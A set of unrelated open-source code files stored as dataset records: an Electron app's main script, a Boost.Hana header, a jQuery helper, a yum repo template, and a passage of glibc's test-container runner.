'https://plus.google.com/+ComposeIo'\nlinkedin: 'https://linkedin.com/company/composeio'\nlogohandle: compose\nsort: compose\ntitle: Compose\ntwitter: composeio\nwebsite: 'https://www.compose.com/'\nwikipedia: https://en.wikipedia.org/wiki/Compose.io\nyoutube: 'https://youtube.com/composeio'\n---\n"} +{"text": "import { app, dialog, ipcMain, Menu } from \"electron\";\nimport windowStateKeeper from \"electron-window-state\";\nimport \"reflect-metadata\";\n\nimport { ArgumentsParser } from \"arguments\";\nimport Utils from \"Utils\";\nimport { FreemanWindow } from \"widgets\";\n\nlet mainWindow: FreemanWindow | null = null;\n\nconst parsedArguments = ArgumentsParser.parse(process.argv);\n\nif (parsedArguments.version) {\n console.info(app.getVersion());\n process.exit(0);\n}\n\nif (parsedArguments.verbose) {\n process.env.VERBOSE = \"1\";\n Utils.trace(\"Running application in verbose mode\");\n}\n\nconst isDev = require(\"electron-is-dev\");\nif (parsedArguments.openInDevelopment || isDev) {\n require(\"electron-debug\")({ enabled: true, showDevTools: false });\n}\n\napp.on(\"window-all-closed\", () => {\n if (process.platform !== \"darwin\") {\n Utils.trace(\"Shutting application down\");\n app.quit();\n }\n});\n\napp.on(\"ready\", () => {\n dialog.showMessageBox({\n buttons: [\"I accept\"],\n detail: \"FreeMAN is currently in active development and intended for development purposes only. \" +\n \"It's possible for a user to delete files / folders, bypassing the operating system's Recycle Bin \" +\n \"equivalent, for example. It is currently not advised to use the program with important files / folders.\",\n message: \"This program is currently Pre-Release and should be used carefully\",\n title: \"Pre-release warning\",\n type: \"warning\"\n });\n\n const mainWindowState = windowStateKeeper({\n defaultHeight: 800,\n defaultWidth: 1400\n });\n\n const windowOptions: Electron.BrowserWindowConstructorOptions = {\n backgroundColor: \"#272822\",\n disableAutoHideCursor: true,\n fullscreen: mainWindowState.isFullScreen,\n height: mainWindowState.height,\n minHeight: 400,\n minWidth: 700,\n show: false,\n title: \"FreeMAN\",\n width: mainWindowState.width,\n x: mainWindowState.x,\n y: mainWindowState.y\n };\n\n mainWindow = new FreemanWindow(windowOptions);\n mainWindowState.manage(mainWindow);\n\n const menu = Menu.buildFromTemplate(FreemanWindow.menuTemplate);\n Menu.setApplicationMenu(menu);\n\n mainWindow.on(\"closed\", () => {\n Utils.trace(\"Main window closing\");\n mainWindow = null;\n });\n\n mainWindow.on(\"unresponsive\", () => {\n Utils.trace(\"Main window unresponsive\");\n const killIndex = 0;\n const cancelIndex = 1;\n const kill = dialog.showMessageBox(mainWindow!, {\n buttons: [\"OK\", \"Wait\"],\n cancelId: cancelIndex,\n defaultId: killIndex,\n message: \"Would you like to kill the process?\",\n title: \"FreeMAN unresponsive\",\n type: \"warning\"\n });\n\n if (kill === killIndex) {\n app.exit(1);\n }\n });\n\n ipcMain.on(\"reload-request\", () => {\n mainWindow && mainWindow.reload();\n });\n});\n"} +{"text": "/*!\r\n@file\r\nDefines `boost::hana::overload`.\r\n\r\n@copyright Louis Dionne 2013-2016\r\nDistributed under the Boost Software License, Version 1.0.\r\n(See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)\r\n */\r\n\r\n#ifndef BOOST_HANA_FUNCTIONAL_OVERLOAD_HPP\r\n#define BOOST_HANA_FUNCTIONAL_OVERLOAD_HPP\r\n\r\n#include \r\n#include \r\n\r\n\r\nBOOST_HANA_NAMESPACE_BEGIN\r\n //! @ingroup group-functional\r\n //! Pick one of several functions to call based on overload resolution.\r\n //!\r\n //! Specifically, `overload(f1, f2, ..., fn)` is a function object such\r\n //! that\r\n //! @code\r\n //! overload(f1, f2, ..., fn)(x...) == fk(x...)\r\n //! @endcode\r\n //!\r\n //! where `fk` is the function of `f1, ..., fn` that would be called if\r\n //! overload resolution was performed amongst that set of functions only.\r\n //! If more than one function `fk` would be picked by overload resolution,\r\n //! then the call is ambiguous.\r\n //!\r\n //! ### Example\r\n //! @include example/functional/overload.cpp\r\n#ifdef BOOST_HANA_DOXYGEN_INVOKED\r\n constexpr auto overload = [](auto&& f1, auto&& f2, ..., auto&& fn) {\r\n return [perfect-capture](auto&& ...x) -> decltype(auto) {\r\n return forwarded(fk)(forwarded(x)...);\r\n };\r\n };\r\n#else\r\n template \r\n struct overload_t\r\n : overload_t::type\r\n , overload_t::type\r\n {\r\n using type = overload_t;\r\n using overload_t::type::operator();\r\n using overload_t::type::operator();\r\n\r\n template \r\n constexpr explicit overload_t(F_&& f, G_&& ...g)\r\n : overload_t::type(static_cast(f))\r\n , overload_t::type(static_cast(g)...)\r\n { }\r\n };\r\n\r\n template \r\n struct overload_t { using type = F; };\r\n\r\n template \r\n struct overload_t {\r\n using type = overload_t;\r\n R (*fptr_)(Args...);\r\n\r\n explicit constexpr overload_t(R (*fp)(Args...))\r\n : fptr_(fp)\r\n { }\r\n\r\n constexpr R operator()(Args ...args) const\r\n { return fptr_(static_cast(args)...); }\r\n };\r\n\r\n struct make_overload_t {\r\n template ::type...\r\n >::type\r\n >\r\n constexpr Overload operator()(F&& ...f) const {\r\n return Overload(static_cast(f)...);\r\n }\r\n };\r\n\r\n constexpr make_overload_t overload{};\r\n#endif\r\nBOOST_HANA_NAMESPACE_END\r\n\r\n#endif // !BOOST_HANA_FUNCTIONAL_OVERLOAD_HPP\r\n"} +{"text": "define( function() {\n\n\"use strict\";\n\n/**\n * Determines whether an object can have data\n */\nreturn function( owner ) {\n\n\t// Accepts only:\n\t// - Node\n\t// - Node.ELEMENT_NODE\n\t// - Node.DOCUMENT_NODE\n\t// - Object\n\t// - Any\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\n} );\n"} +{"text": "{% for rhel_repo in rhel_repos %}\n[{{ rhel_repo }}]\nname={{ rhel_repo }}\nbaseurl={{own_repo_path}}/{{ repo_version }}/{{ rhel_repo }}\nenabled=1\ngpgcheck=0\n\n{% endfor %}\n\n[epel]\nname=Extra Packages for Enterprise Linux 7 \nbaseurl={{ own_repo_path | replace( \"/tower/\", \"\") }}/epel/\nenabled=1\ngpgcheck=0\n"} +{"text": "/* Run a test case in an isolated namespace.\n Copyright (C) 2018-2020 Free Software Foundation, Inc.\n This file is part of the GNU C Library.\n\n The GNU C Library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n The GNU C Library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with the GNU C Library; if not, see\n . */\n\n#define _FILE_OFFSET_BITS 64\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifdef __linux__\n#include \n#endif\n\n#include \n#include \n#include \"check.h\"\n#include \"test-driver.h\"\n\n#ifndef __linux__\n#define mount(s,t,fs,f,d) no_mount()\nint no_mount (void)\n{\n FAIL_UNSUPPORTED(\"mount not supported; port needed\");\n}\n#endif\n\nint verbose = 0;\n\n/* Running a test in a container is tricky. There are two main\n categories of things to do:\n\n 1. \"Once\" actions, like setting up the container and doing an\n install into it.\n\n 2. \"Per-test\" actions, like copying in support files and\n configuring the container.\n\n\n \"Once\" actions:\n\n * mkdir $buildroot/testroot.pristine/\n * install into it\n * default glibc install\n * create /bin for /bin/sh\n * create $(complocaledir) so localedef tests work with default paths.\n * install /bin/sh, /bin/echo, and /bin/true.\n * rsync to $buildroot/testroot.root/\n\n \"Per-test\" actions:\n * maybe rsync to $buildroot/testroot.root/\n * copy support files and test binary\n * chroot/unshare\n * set up any mounts (like /proc)\n\n Magic files:\n\n For test $srcdir/foo/mytest.c we look for $srcdir/foo/mytest.root\n and, if found...\n\n * mytest.root/ is rsync'd into container\n * mytest.root/preclean.req causes fresh rsync (with delete) before\n test if present\n * mytest.root/mytest.script has a list of \"commands\" to run:\n syntax:\n # comment\n su\n mv FILE FILE\n\t cp FILE FILE\n\t rm FILE\n\t cwd PATH\n\t exec FILE\n\t mkdirp MODE DIR\n\n variables:\n\t $B/ build dir, equivalent to $(common-objpfx)\n\t $S/ source dir, equivalent to $(srcdir)\n\t $I/ install dir, equivalent to $(prefix)\n\t $L/ library dir (in container), equivalent to $(libdir)\n\t $complocaledir/ compiled locale dir, equivalent to $(complocaledir)\n\t / container's root\n\n\t If FILE begins with any of these variables then they will be\n\t substituted for the described value.\n\n\t The goal is to expose as many of the runtime's configured paths\n\t via variables so they can be used to setup the container environment\n\t before execution reaches the test.\n\n details:\n - '#': A comment.\n - 'su': Enables running test as root in the container.\n - 'mv': A minimal move files command.\n - 'cp': A minimal copy files command.\n - 'rm': A minimal remove files command.\n\t - 'cwd': set test working directory\n\t - 'exec': change test binary location (may end in /)\n\t - 'mkdirp': A minimal \"mkdir -p FILE\" command.\n\n * mytest.root/postclean.req causes fresh rsync (with delete) after\n test if present\n\n Note that $srcdir/foo/mytest.script may be used instead of a\n $srcdir/foo/mytest.root/mytest.script in the sysroot template, if\n there is no other reason for a sysroot.\n\n Design goals:\n\n * independent of other packages which may not be installed (like\n rsync or Docker, or even \"cp\")\n\n * Simple, easy to review code (i.e. prefer simple naive code over\n complex efficient code)\n\n * The current implementation ist parallel-make-safe, but only in\n that it uses a lock to prevent parallel access to the testroot. */\n\n\f\n/* Utility Functions */\n\n/* Like xunlink, but it's OK if the file already doesn't exist. */\nvoid\nmaybe_xunlink (const char *path)\n{\n int rv = unlink (path);\n if (rv < 0 && errno != ENOENT)\n FAIL_EXIT1 (\"unlink (\\\"%s\\\"): %m\", path);\n}\n\n/* Like xmkdir, but it's OK if the directory already exists. */\nvoid\nmaybe_xmkdir (const char *path, mode_t mode)\n{\n struct stat st;\n\n if (stat (path, &st) == 0\n && S_ISDIR (st.st_mode))\n return;\n xmkdir (path, mode);\n}\n\n/* Temporarily concatenate multiple strings into one. Allows up to 10\n temporary results; use xstrdup () if you need them to be\n permanent. */\nstatic char *\nconcat (const char *str, ...)\n{\n /* Assume initialized to NULL/zero. */\n static char *bufs[10];\n static size_t buflens[10];\n static int bufn = 0;\n int n;\n size_t len;\n va_list ap, ap2;\n char *cp;\n char *next;\n\n va_start (ap, str);\n va_copy (ap2, ap);\n\n n = bufn;\n bufn = (bufn + 1) % 10;\n len = strlen (str);\n\n while ((next = va_arg (ap, char *)) != NULL)\n len = len + strlen (next);\n\n va_end (ap);\n\n if (bufs[n] == NULL)\n {\n bufs[n] = xmalloc (len + 1); /* NUL */\n buflens[n] = len + 1;\n }\n else if (buflens[n] < len + 1)\n {\n bufs[n] = xrealloc (bufs[n], len + 1); /* NUL */\n buflens[n] = len + 1;\n }\n\n strcpy (bufs[n], str);\n cp = strchr (bufs[n], '\\0');\n while ((next = va_arg (ap2, char *)) != NULL)\n {\n strcpy (cp, next);\n cp = strchr (cp, '\\0');\n }\n *cp = 0;\n va_end (ap2);\n\n return bufs[n];\n}\n\n/* Try to mount SRC onto DEST. */\nstatic void\ntrymount (const char *src, const char *dest)\n{\n if (mount (src, dest, \"\", MS_BIND, NULL) < 0)\n FAIL_EXIT1 (\"can't mount %s onto %s\\n\", src, dest);\n}\n\n/* Special case of above for devices like /dev/zero where we have to\n mount a device over a device, not a directory over a directory. */\nstatic void\ndevmount (const char *new_root_path, const char *which)\n{\n int fd;\n fd = open (concat (new_root_path, \"/dev/\", which, NULL),\n\t O_CREAT | O_TRUNC | O_RDWR, 0777);\n xclose (fd);\n\n trymount (concat (\"/dev/\", which, NULL),\n\t concat (new_root_path, \"/dev/\", which, NULL));\n}\n\n/* Returns true if the string \"looks like\" an environement variable\n being set. */\nstatic int\nis_env_setting (const char *a)\n{\n int count_name = 0;\n\n while (*a)\n {\n if (isalnum (*a) || *a == '_')\n\t++count_name;\n else if (*a == '=' && count_name > 0)\n\treturn 1;\n else\n\treturn 0;\n ++a;\n }\n return 0;\n}\n\n/* Break the_line into words and store in the_words. Max nwords,\n returns actual count. */\nstatic int\ntokenize (char *the_line, char **the_words, int nwords)\n{\n int rv = 0;\n\n while (nwords > 0)\n {\n /* Skip leading whitespace, if any. */\n while (*the_line && isspace (*the_line))\n\t++the_line;\n\n /* End of line? */\n if (*the_line == 0)\n\treturn rv;\n\n /* THE_LINE points to a non-whitespace character, so we have a\n\t word. */\n *the_words = the_line;\n ++the_words;\n nwords--;\n ++rv;\n\n /* Skip leading whitespace, if any. */\n while (*the_line && ! isspace (*the_line))\n\t++the_line;\n\n /* We now point at the trailing NUL *or* some whitespace. */\n if (*the_line == 0)\n\treturn rv;\n\n /* It was whitespace, skip and keep tokenizing. */\n *the_line++ = 0;\n }\n\n /* We get here if we filled the words buffer. */\n return rv;\n}\n\n\f\n/* Mini-RSYNC implementation. Optimize later. */\n\n/* A few routines for an \"rsync buffer\" which stores the paths we're\n working on. We continuously grow and shrink the paths in each\n buffer so there's lot of re-use. */\n\n/* We rely on \"initialized to zero\" to set these up. */\ntypedef struct\n{\n char *buf;\n size_t len;\n size_t size;\n} path_buf;\n\nstatic path_buf spath, dpath;\n\nstatic void\nr_setup (char *path, path_buf * pb)\n{\n size_t len = strlen (path);\n if (pb->buf == NULL || pb->size < len + 1)\n {\n /* Round up. This is an arbitrary number, just to keep from\n\t reallocing too often. */\n size_t sz = ALIGN_UP (len + 1, 512);\n if (pb->buf == NULL)\n\tpb->buf = (char *) xmalloc (sz);\n else\n\tpb->buf = (char *) xrealloc (pb->buf, sz);\n if (pb->buf == NULL)\n\tFAIL_EXIT1 (\"Out of memory while rsyncing\\n\");\n\n pb->size = sz;\n }\n strcpy (pb->buf, path);\n pb->len = len;\n}\n\nstatic void\nr_append (const char *path, path_buf * pb)\n{\n size_t len = strlen (path) + pb->len;\n if (pb->size < len + 1)\n {\n /* Round up */\n size_t sz = ALIGN_UP (len + 1, 512);\n pb->buf = (char *) xrealloc (pb->buf, sz);\n if (pb->buf == NULL)\n\tFAIL_EXIT1 (\"Out of memory while rsyncing\\n\");\n\n pb->size = sz;\n }\n strcpy (pb->buf + pb->len, path);\n pb->len = len;\n}\n\nstatic int\nfile_exists (char *path)\n{\n struct stat st;\n if (lstat (path, &st) == 0)\n return 1;\n return 0;\n}\n\nstatic void\nrecursive_remove (char *path)\n{\n pid_t child;\n int status;\n\n child = fork ();\n\n switch (child) {\n case -1:\n perror(\"fork\");\n FAIL_EXIT1 (\"Unable to fork\");\n case 0:\n /* Child. */\n execlp (\"rm\", \"rm\", \"-rf\", path, NULL);\n FAIL_EXIT1 (\"exec rm: %m\");\n default:\n /* Parent. */\n waitpid (child, &status, 0);\n /* \"rm\" would have already printed a suitable error message. */\n if (! WIFEXITED (status)\n\t|| WEXITSTATUS (status) != 0)\n FAIL_EXIT1 (\"exec child returned status: %d\", status);\n\n break;\n }\n}\n\n/* Used for both rsync and the mytest.script \"cp\" command. */\nstatic void\ncopy_one_file (const char *sname, const char *dname)\n{\n int sfd, dfd;\n struct stat st;\n struct utimbuf times;\n\n sfd = open (sname, O_RDONLY);\n if (sfd < 0)\n FAIL_EXIT1 (\"unable to open %s for reading\\n\", sname);\n\n if (fstat (sfd, &st) < 0)\n FAIL_EXIT1 (\"unable to fstat %s\\n\", sname);\n\n dfd = open (dname, O_WRONLY | O_TRUNC | O_CREAT, 0600);\n if (dfd < 0)\n FAIL_EXIT1 (\"unable to open %s for writing\\n\", dname);\n\n xcopy_file_range (sfd, 0, dfd, 0, st.st_size, 0);\n\n xclose (sfd);\n xclose (dfd);\n\n if (chmod (dname, st.st_mode & 0777) < 0)\n FAIL_EXIT1 (\"chmod %s: %s\\n\", dname, strerror (errno));\n\n times.actime = st.st_atime;\n times.modtime = st.st_mtime;\n if (utime (dname, ×) < 0)\n FAIL_EXIT1 (\"utime %s: %s\\n\", dname, strerror (errno));\n}\n\n/* We don't check *everything* about the two files to see if a copy is\n needed, just the minimum to make sure we get the latest copy. */\nstatic int\nneed_sync (char *ap, char *bp, struct stat *a, struct stat *b)\n{\n if ((a->st_mode & S_IFMT) != (b->st_mode & S_IFMT))\n return 1;\n\n if (S_ISLNK (a->st_mode))\n {\n int rv;\n char *al, *bl;\n\n if (a->st_size != b->st_size)\n\treturn 1;\n\n al = xreadlink (ap);\n bl = xreadlink (bp);\n rv = strcmp (al, bl);\n free (al);\n free (bl);\n if (rv == 0)\n\treturn 0; /* links are same */\n return 1; /* links differ */\n }\n\n if (verbose)\n {\n if (a->st_size != b->st_size)\n\tprintf (\"SIZE\\n\");\n if ((a->st_mode & 0777) != (b->st_mode & 0777))\n\tprintf (\"MODE\\n\");\n if (a->st_mtime != b->st_mtime)\n\tprintf (\"TIME\\n\");\n }\n\n if (a->st_size == b->st_size\n && ((a->st_mode & 0777) == (b->st_mode & 0777))\n && a->st_mtime == b->st_mtime)\n return 0;\n\n return 1;\n}\n\nstatic void\nrsync_1 (path_buf * src, path_buf * dest, int and_delete)\n{\n DIR *dir;\n struct dirent *de;\n struct stat s, d;\n\n r_append (\"/\", src);\n r_append (\"/\", dest);\n\n if (verbose)\n printf (\"sync %s to %s %s\\n\", src->buf, dest->buf,\n\t and_delete ? \"and delete\" : \"\");\n\n size_t staillen = src->len;\n\n size_t dtaillen = dest->len;\n\n dir = opendir (src->buf);\n\n while ((de = readdir (dir)) != NULL)\n {\n if (strcmp (de->d_name, \".\") == 0\n\t || strcmp (de->d_name, \"..\") == 0)\n\tcontinue;\n\n src->len = staillen;\n r_append (de->d_name, src);\n dest->len = dtaillen;\n r_append (de->d_name, dest);\n\n s.st_mode = ~0;\n d.st_mode = ~0;\n\n if (lstat (src->buf, &s) != 0)\n\tFAIL_EXIT1 (\"%s obtained by readdir, but stat failed.\\n\", src->buf);\n\n /* It's OK if this one fails, since we know the file might be\n\t missing. */\n lstat (dest->buf, &d);\n\n if (! need_sync (src->buf, dest->buf, &s, &d))\n\t{\n\t if (S_ISDIR (s.st_mode))\n\t rsync_1 (src, dest, and_delete);\n\t continue;\n\t}\n\n if (d.st_mode != ~0)\n\tswitch (d.st_mode & S_IFMT)\n\t {\n\t case S_IFDIR:\n\t if (!S_ISDIR (s.st_mode))\n\t {\n\t\tif (verbose)\n\t\t printf (\"-D %s\\n\", dest->buf);\n\t\trecursive_remove (dest->buf);\n\t }\n\t break;\n\n\t default:\n\t if (verbose)\n\t printf (\"-F %s\\n\", dest->buf);\n\t maybe_xunlink (dest->buf);\n\t break;\n\t }\n\n switch (s.st_mode & S_IFMT)\n\t{\n\tcase S_IFREG:\n\t if (verbose)\n\t printf (\"+F %s\\n\", dest->buf);\n\t copy_one_file (src->buf, dest->buf);\n\t break;\n\n\tcase S_IFDIR:\n\t if (verbose)\n\t printf (\"+D %s\\n\", dest->buf);\n\t maybe_xmkdir (dest->buf, (s.st_mode & 0777) | 0700);\n\t rsync_1 (src, dest, and_delete);\n\t break;\n\n\tcase S_IFLNK:\n\t {\n\t char *lp;\n\t if (verbose)\n\t printf (\"+L %s\\n\", dest->buf);\n\t lp = xreadlink (src->buf);\n\t xsymlink (lp, dest->buf);\n\t free (lp);\n\t break;\n\t }\n\n\tdefault:\n\t break;\n\t}\n }\n\n closedir (dir);\n src->len = staillen;\n src->buf[staillen] = 0;\n dest->len = dtaillen;\n dest->buf[dtaillen] = 0;\n\n if (!and_delete)\n return;\n\n /* The rest of this function removes any files/directories in DEST\n that do not exist in SRC. This is triggered as part of a\n preclean or postsclean step. */\n\n dir = opendir (dest->buf);\n\n while ((de = readdir (dir)) != NULL)\n {\n if (strcmp (de->d_name, \".\") == 0\n\t || strcmp (de->d_name, \"..\") == 0)\n\tcontinue;\n\n src->len = staillen;\n r_append (de->d_name, src);\n dest->len = dtaillen;\n r_append (de->d_name, dest);\n\n s.st_mode = ~0;\n d.st_mode = ~0;\n\n lstat (src->buf, &s);\n\n if (lstat (dest->buf, &d) != 0)\n\tFAIL_EXIT1 (\"%s obtained by readdir, but stat failed.\\n\", dest->buf);\n\n if (s.st_mode == ~0)\n\t{\n\t /* dest exists and src doesn't, clean it. */\n\t switch (d.st_mode & S_IFMT)\n\t {\n\t case S_IFDIR:\n\t if (!S_ISDIR (s.st_mode))\n\t\t{\n\t\t if (verbose)\n\t\t printf (\"-D %s\\n\", dest->buf);\n\t\t recursive_remove (dest->buf);\n\t\t}\n\t break;\n\n\t default:\n\t if (verbose)\n\t\tprintf (\"-F %s\\n\", dest->buf);\n\t maybe_xunlink (dest->buf);\n\t break;\n\t }\n\t}\n }\n\n closedir (dir);\n}\n\nstatic void\nrsync (char *src, char *dest, int and_delete)\n{\n r_setup (src, &spath);\n r_setup (dest, &dpath);\n\n rsync_1 (&spath, &dpath, and_delete);\n}\n\n\f\n\n/* See if we can detect what the user needs to do to get unshare\n support working for us. */\nvoid\ncheck_for_unshare_hints (void)\n{\n FILE *f;\n int i;\n\n /* Default Debian Linux disables user namespaces, but allows a way\n to enable them. */\n f = fopen (\"/proc/sys/kernel/unprivileged_userns_clone\", \"r\");\n if (f != NULL)\n {\n i = 99; /* Sentinel. */\n fscanf (f, \"%d\", &i);\n if (i == 0)\n\t{\n\t printf (\"To enable test-container, please run this as root:\\n\");\n\t printf (\" echo 1 > /proc/sys/kernel/unprivileged_userns_clone\\n\");\n\t}\n fclose (f);\n return;\n }\n\n /* ALT Linux has an alternate way of doing the same. */\n f = fopen (\"/proc/sys/kernel/userns_restrict\", \"r\");\n if (f != NULL)\n {\n i = 99; /* Sentinel. */\n fscanf (f, \"%d\", &i);\n if (i == 1)\n\t{\n\t printf (\"To enable test-container, please run this as root:\\n\");\n\t printf (\" echo 0 > /proc/sys/kernel/userns_restrict\\n\");\n\t}\n fclose (f);\n return;\n }\n}\n\nint\nmain (int argc, char **argv)\n{\n pid_t child;\n char *pristine_root_path;\n char *new_root_path;\n char *new_cwd_path;\n char *new_objdir_path;\n char *new_srcdir_path;\n char **new_child_proc;\n char *new_child_exec;\n char *command_root;\n char *command_base;\n char *command_basename;\n char *so_base;\n int do_postclean = 0;\n char *change_cwd = NULL;\n\n int pipes[2];\n char pid_buf[20];\n\n uid_t original_uid;\n gid_t original_gid;\n /* If set, the test runs as root instead of the user running the testsuite. */\n int be_su = 0;\n int UMAP;\n int GMAP;\n /* Used for \"%lld %lld 1\" so need not be large. */\n char tmp[100];\n struct stat st;\n int lock_fd;\n\n setbuf (stdout, NULL);\n\n /* The command line we're expecting looks like this:\n env ld.so test-binary\n\n We need to peel off any \"env\" or \"ld.so\" portion of the command\n line, and keep track of which env vars we should preserve and\n which we drop. */\n\n if (argc < 2)\n {\n fprintf (stderr, \"Usage: test-container \\n\");\n exit (1);\n }\n\n if (strcmp (argv[1], \"-v\") == 0)\n {\n verbose = 1;\n ++argv;\n --argc;\n }\n\n if (strcmp (argv[1], \"env\") == 0)\n {\n ++argv;\n --argc;\n while (is_env_setting (argv[1]))\n\t{\n\t /* If there are variables we do NOT want to propogate, this\n\t is where the test for them goes. */\n\t {\n\t /* Need to keep these. Note that putenv stores a\n\t pointer to our argv. */\n\t putenv (argv[1]);\n\t }\n\t ++argv;\n\t --argc;\n\t}\n }\n\n if (strcmp (argv[1], support_objdir_elf_ldso) == 0)\n {\n ++argv;\n --argc;\n while (argv[1][0] == '-')\n\t{\n\t if (strcmp (argv[1], \"--library-path\") == 0)\n\t {\n\t ++argv;\n\t --argc;\n\t }\n\t ++argv;\n\t --argc;\n\t}\n }\n\n pristine_root_path = xstrdup (concat (support_objdir_root,\n\t\t\t\t \"/testroot.pristine\", NULL));\n new_root_path = xstrdup (concat (support_objdir_root,\n\t\t\t\t \"/testroot.root\", NULL));\n new_cwd_path = get_current_dir_name ();\n new_child_proc = argv + 1;\n new_child_exec = argv[1];\n\n lock_fd = open (concat (pristine_root_path, \"/lock.fd\", NULL),\n\t\t O_CREAT | O_TRUNC | O_RDWR, 0666);\n if (lock_fd < 0)\n FAIL_EXIT1 (\"Cannot create testroot lock.\\n\");\n\n while (flock (lock_fd, LOCK_EX) != 0)\n {\n if (errno != EINTR)\n\tFAIL_EXIT1 (\"Cannot lock testroot.\\n\");\n }\n\n xmkdirp (new_root_path, 0755);\n\n /* We look for extra setup info in a subdir in the same spot as the\n test, with the same name but a \".root\" extension. This is that\n directory. We try to look in the source tree if the path we're\n given refers to the build tree, but we rely on the path to be\n absolute. This is what the glibc makefiles do. */\n command_root = concat (argv[1], \".root\", NULL);\n if (strncmp (command_root, support_objdir_root,\n\t strlen (support_objdir_root)) == 0\n && command_root[strlen (support_objdir_root)] == '/')\n command_root = concat (support_srcdir_root,\n\t\t\t argv[1] + strlen (support_objdir_root),\n\t\t\t \".root\", NULL);\n command_root = xstrdup (command_root);\n\n /* This cuts off the \".root\" we appended above. */\n command_base = xstrdup (command_root);\n command_base[strlen (command_base) - 5] = 0;\n\n /* This is the basename of the test we're running. */\n command_basename = strrchr (command_base, '/');\n if (command_basename == NULL)\n command_basename = command_base;\n else\n ++command_basename;\n\n /* Shared object base directory. */\n so_base = xstrdup (argv[1]);\n if (strrchr (so_base, '/') != NULL)\n strrchr (so_base, '/')[1] = 0;\n\n if (file_exists (concat (command_root, \"/postclean.req\", NULL)))\n do_postclean = 1;\n\n rsync (pristine_root_path, new_root_path,\n\t file_exists (concat (command_root, \"/preclean.req\", NULL)));\n\n if (stat (command_root, &st) >= 0\n && S_ISDIR (st.st_mode))\n rsync (command_root, new_root_path, 0);\n\n new_objdir_path = xstrdup (concat (new_root_path,\n\t\t\t\t support_objdir_root, NULL));\n new_srcdir_path = xstrdup (concat (new_root_path,\n\t\t\t\t support_srcdir_root, NULL));\n\n /* new_cwd_path starts with '/' so no \"/\" needed between the two. */\n xmkdirp (concat (new_root_path, new_cwd_path, NULL), 0755);\n xmkdirp (new_srcdir_path, 0755);\n xmkdirp (new_objdir_path, 0755);\n\n original_uid = getuid ();\n original_gid = getgid ();\n\n /* Handle the cp/mv/rm \"script\" here. */\n {\n char *the_line = NULL;\n size_t line_len = 0;\n char *fname = concat (command_root, \"/\",\n\t\t\t command_basename, \".script\", NULL);\n char *the_words[3];\n FILE *f = fopen (fname, \"r\");\n\n if (verbose && f)\n fprintf (stderr, \"running %s\\n\", fname);\n\n if (f == NULL)\n {\n\t/* Try foo.script instead of foo.root/foo.script, as a shortcut. */\n\tfname = concat (command_base, \".script\", NULL);\n\tf = fopen (fname, \"r\");\n\tif (verbose && f)\n\t fprintf (stderr, \"running %s\\n\", fname);\n }\n\n /* Note that we do NOT look for a Makefile-generated foo.script in\n the build directory. If that is ever needed, this is the place\n to add it. */\n\n /* This is where we \"interpret\" the mini-script which is .script. */\n if (f != NULL)\n {\n\twhile (getline (&the_line, &line_len, f) > 0)\n\t {\n\t int nt = tokenize (the_line, the_words, 3);\n\t int i;\n\n\t /* Expand variables. */\n\t for (i = 1; i < nt; ++i)\n\t {\n\t\tif (memcmp (the_words[i], \"$B/\", 3) == 0)\n\t\t the_words[i] = concat (support_objdir_root,\n\t\t\t\t\t the_words[i] + 2, NULL);\n\t\telse if (memcmp (the_words[i], \"$S/\", 3) == 0)\n\t\t the_words[i] = concat (support_srcdir_root,\n\t\t\t\t\t the_words[i] + 2, NULL);\n\t\telse if (memcmp (the_words[i], \"$I/\", 3) == 0)\n\t\t the_words[i] = concat (new_root_path,\n\t\t\t\t\t support_install_prefix,\n\t\t\t\t\t the_words[i] + 2, NULL);\n\t\telse if (memcmp (the_words[i], \"$L/\", 3) == 0)\n\t\t the_words[i] = concat (new_root_path,\n\t\t\t\t\t support_libdir_prefix,\n\t\t\t\t\t the_words[i] + 2, NULL);\n\t\telse if (memcmp (the_words[i], \"$complocaledir/\", 15) == 0)\n\t\t the_words[i] = concat (new_root_path,\n\t\t\t\t\t support_complocaledir_prefix,\n\t\t\t\t\t the_words[i] + 14, NULL);\n\t\t/* \"exec\" and \"cwd\" use inside-root paths. */\n\t\telse if (strcmp (the_words[0], \"exec\") != 0\n\t\t\t && strcmp (the_words[0], \"cwd\") != 0\n\t\t\t && the_words[i][0] == '/')\n\t\t the_words[i] = concat (new_root_path,\n\t\t\t\t\t the_words[i], NULL);\n\t }\n\n\t if (nt == 3 && the_words[2][strlen (the_words[2]) - 1] == '/')\n\t {\n\t\tchar *r = strrchr (the_words[1], '/');\n\t\tif (r)\n\t\t the_words[2] = concat (the_words[2], r + 1, NULL);\n\t\telse\n\t\t the_words[2] = concat (the_words[2], the_words[1], NULL);\n\t }\n\n\t /* Run the following commands in the_words[0] with NT number of\n\t arguments (including the command). */\n\n\t if (nt == 2 && strcmp (the_words[0], \"so\") == 0)\n\t {\n\t\tthe_words[2] = concat (new_root_path, support_libdir_prefix,\n\t\t\t\t \"/\", the_words[1], NULL);\n\t\tthe_words[1] = concat (so_base, the_words[1], NULL);\n\t\tcopy_one_file (the_words[1], the_words[2]);\n\t }\n\t else if (nt == 3 && strcmp (the_words[0], \"cp\") == 0)\n\t {\n\t\tcopy_one_file (the_words[1], the_words[2]);\n\t }\n\t else if (nt == 3 && strcmp (the_words[0], \"mv\") == 0)\n\t {\n\t\tif (rename (the_words[1], the_words[2]) < 0)\n\t\t FAIL_EXIT1 (\"rename %s -> %s: %s\", the_words[1],\n\t\t\t the_words[2], strerror (errno));\n\t }\n\t else if (nt == 3 && strcmp (the_words[0], \"chmod\") == 0)\n\t {\n\t\tlong int m;\n\t\terrno = 0;\n\t\tm = strtol (the_words[1], NULL, 0);\n\t\tTEST_COMPARE (errno, 0);\n\t\tif (chmod (the_words[2], m) < 0)\n\t\t FAIL_EXIT1 (\"chmod %s: %s\\n\",\n\t\t\t\tthe_words[2], strerror (errno));\n\n\t }\n\t else if (nt == 2 && strcmp (the_words[0], \"rm\") == 0)\n\t 